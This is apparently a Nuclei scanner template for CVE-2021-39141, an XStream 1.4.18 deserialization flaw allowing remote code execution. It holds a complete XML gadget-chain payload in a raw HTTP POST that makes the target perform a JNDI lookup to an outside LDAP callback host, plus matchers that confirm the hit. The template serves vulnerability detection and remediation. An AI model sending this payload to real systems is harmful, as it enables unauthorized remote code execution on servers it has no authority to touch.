XStream 1.4.18 is susceptible to remote code execution. An attacker can execute commands of the host by manipulating the processed input stream, thereby making it possible to obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
id: CVE-2021-39141
info:
name: XStream 1.4.18 - Remote Code Execution
author: pwnhxl
severity: high
description: |
XStream 1.4.18 is susceptible to remote code execution. An attacker can execute commands of the host by manipulating the processed input stream, thereby making it possible to obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
impact: |
Attackers can exploit unsafe deserialization in XStream to execute arbitrary commands on the host, potentially obtaining sensitive information and compromising the entire application server.
remediation: |
Upgrade XStream to a version that is not affected by CVE-2021-39141.
reference:
- http://x-stream.github.io/CVE-2021-39141.html
- https://x-stream.github.io/CVE-2021-39141.html
- https://github.com/x-stream/xstream/security/advisories/GHSA-g5w6-mrj7-75h2
- https://security.netapp.com/advisory/ntap-20210923-0003/
- https://nvd.nist.gov/vuln/detail/CVE-2021-39141
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H
cvss-score: 8.5
cve-id: CVE-2021-39141
cwe-id: CWE-434
epss-score: 0.16118
epss-percentile: 0.96752
cpe: cpe:2.3:a:xstream_project:xstream:*:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: xstream_project
product: xstream
tags: cve,cve2021,xstream,deserialization,rce,xstream_project,vuln
http:
- raw:
- |
POST / HTTP/1.1
Host: {{Hostname}}
Content-Type: application/xml
<java.util.PriorityQueue serialization='custom'>
<unserializable-parents/>
<java.util.PriorityQueue>
<default>
<size>2</size>
</default>
<int>3</int>
<dynamic-proxy>
<interface>java.lang.Comparable</interface>
<handler class='com.sun.xml.internal.ws.client.sei.SEIStub'>
<owner/>
<managedObjectManagerClosed>false</managedObjectManagerClosed>
<databinding class='com.sun.xml.internal.ws.db.DatabindingImpl'>
<stubHandlers>
<entry>
<method>
<class>java.lang.Comparable</class>
<name>compareTo</name>
<parameter-types>
<class>java.lang.Object</class>
</parameter-types>
</method>
<com.sun.xml.internal.ws.client.sei.StubHandler>
<bodyBuilder class='com.sun.xml.internal.ws.client.sei.BodyBuilder$DocLit'>
<indices>
<int>0</int>
</indices>
<getters>
<com.sun.xml.internal.ws.client.sei.ValueGetter>PLAIN</com.sun.xml.internal.ws.client.sei.ValueGetter>
</getters>
<accessors>
<com.sun.xml.internal.ws.spi.db.JAXBWrapperAccessor_-2>
<val_-isJAXBElement>false</val_-isJAXBElement>
<val_-getter class='com.sun.xml.internal.ws.spi.db.FieldGetter'>
<type>int</type>
<field>
<name>hash</name>
<clazz>java.lang.String</clazz>
</field>
</val_-getter>
<val_-isListType>false</val_-isListType>
<val_-n>
<namespaceURI/>
<localPart>hash</localPart>
<prefix/>
</val_-n>
<val_-setter class='com.sun.xml.internal.ws.spi.db.MethodSetter'>
<type>java.lang.String</type>
<method>
<class>javax.naming.InitialContext</class>
<name>doLookup</name>
<parameter-types>
<class>java.lang.String</class>
</parameter-types>
</method>
</val_-setter>
<outer-class>
<propertySetters>
<entry>
<string>serialPersistentFields</string>
<com.sun.xml.internal.ws.spi.db.FieldSetter>
<type>[Ljava.io.ObjectStreamField;</type>
<field>
<name>serialPersistentFields</name>
<clazz>java.lang.String</clazz>
</field>
</com.sun.xml.internal.ws.spi.db.FieldSetter>
</entry>
<entry>
<string>CASE_INSENSITIVE_ORDER</string>
<com.sun.xml.internal.ws.spi.db.FieldSetter>
<type>java.util.Comparator</type>
<field>
<name>CASE_INSENSITIVE_ORDER</name>
<clazz>java.lang.String</clazz>
</field>
</com.sun.xml.internal.ws.spi.db.FieldSetter>
</entry>
<entry>
<string>serialVersionUID</string>
<com.sun.xml.internal.ws.spi.db.FieldSetter>
<type>long</type>
<field>
<name>serialVersionUID</name>
<clazz>java.lang.String</clazz>
</field>
</com.sun.xml.internal.ws.spi.db.FieldSetter>
</entry>
<entry>
<string>value</string>
<com.sun.xml.internal.ws.spi.db.FieldSetter>
<type>[C</type>
<field>
<name>value</name>
<clazz>java.lang.String</clazz>
</field>
</com.sun.xml.internal.ws.spi.db.FieldSetter>
</entry>
<entry>
<string>hash</string>
<com.sun.xml.internal.ws.spi.db.FieldSetter>
<type>int</type>
<field reference='../../../../../val_-getter/field'/>
</com.sun.xml.internal.ws.spi.db.FieldSetter>
</entry>
</propertySetters>
<propertyGetters>
<entry>
<string>serialPersistentFields</string>
<com.sun.xml.internal.ws.spi.db.FieldGetter>
<type>[Ljava.io.ObjectStreamField;</type>
<field reference='../../../../propertySetters/entry/com.sun.xml.internal.ws.spi.db.FieldSetter/field'/>
</com.sun.xml.internal.ws.spi.db.FieldGetter>
</entry>
<entry>
<string>CASE_INSENSITIVE_ORDER</string>
<com.sun.xml.internal.ws.spi.db.FieldGetter>
<type>java.util.Comparator</type>
<field reference='../../../../propertySetters/entry[2]/com.sun.xml.internal.ws.spi.db.FieldSetter/field'/>
</com.sun.xml.internal.ws.spi.db.FieldGetter>
</entry>
<entry>
<string>serialVersionUID</string>
<com.sun.xml.internal.ws.spi.db.FieldGetter>
<type>long</type>
<field reference='../../../../propertySetters/entry[3]/com.sun.xml.internal.ws.spi.db.FieldSetter/field'/>
</com.sun.xml.internal.ws.spi.db.FieldGetter>
</entry>
<entry>
<string>value</string>
<com.sun.xml.internal.ws.spi.db.FieldGetter>
<type>[C</type>
<field reference='../../../../propertySetters/entry[4]/com.sun.xml.internal.ws.spi.db.FieldSetter/field'/>
</com.sun.xml.internal.ws.spi.db.FieldGetter>
</entry>
<entry>
<string>hash</string>
<com.sun.xml.internal.ws.spi.db.FieldGetter reference='../../../../val_-getter'/>
</entry>
</propertyGetters>
<elementLocalNameCollision>false</elementLocalNameCollision>
<contentClass>java.lang.String</contentClass>
<elementDeclaredTypes/>
</outer-class>
</com.sun.xml.internal.ws.spi.db.JAXBWrapperAccessor_-2>
</accessors>
<wrapper>java.lang.Object</wrapper>
<bindingContext class='com.sun.xml.internal.ws.db.glassfish.JAXBRIContextWrapper'/>
<dynamicWrapper>false</dynamicWrapper>
</bodyBuilder>
<isOneWay>false</isOneWay>
</com.sun.xml.internal.ws.client.sei.StubHandler>
</entry>
</stubHandlers>
<clientConfig>false</clientConfig>
</databinding>
<methodHandlers>
<entry>
<method reference='../../../databinding/stubHandlers/entry/method'/>
<com.sun.xml.internal.ws.client.sei.SyncMethodHandler>
<owner reference='../../../..'/>
<method reference='../../../../databinding/stubHandlers/entry/method'/>
<isVoid>false</isVoid>
<isOneway>false</isOneway>
</com.sun.xml.internal.ws.client.sei.SyncMethodHandler>
</entry>
</methodHandlers>
</handler>
</dynamic-proxy>
<string>ldap://{{interactsh-url}}/#evil</string>
</java.util.PriorityQueue>
</java.util.PriorityQueue>
matchers-condition: and
matchers:
- type: word
part: interactsh_protocol
words:
- "dns"
- type: word
part: body
words:
- "timestamp"
- "com.thoughtworks.xstream"
condition: or
- type: word
part: header
words:
- "application/json"
- type: status
status:
- 500
# digest: 490a004630440220630eeb0a68f914b496a823ad7e5c10377af11f3d47d7d4f186d58aacbe662a7102202ab66064a91c548de19dc9a9a0d06034cf7fe00db0ce98938deb9339e979206b:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.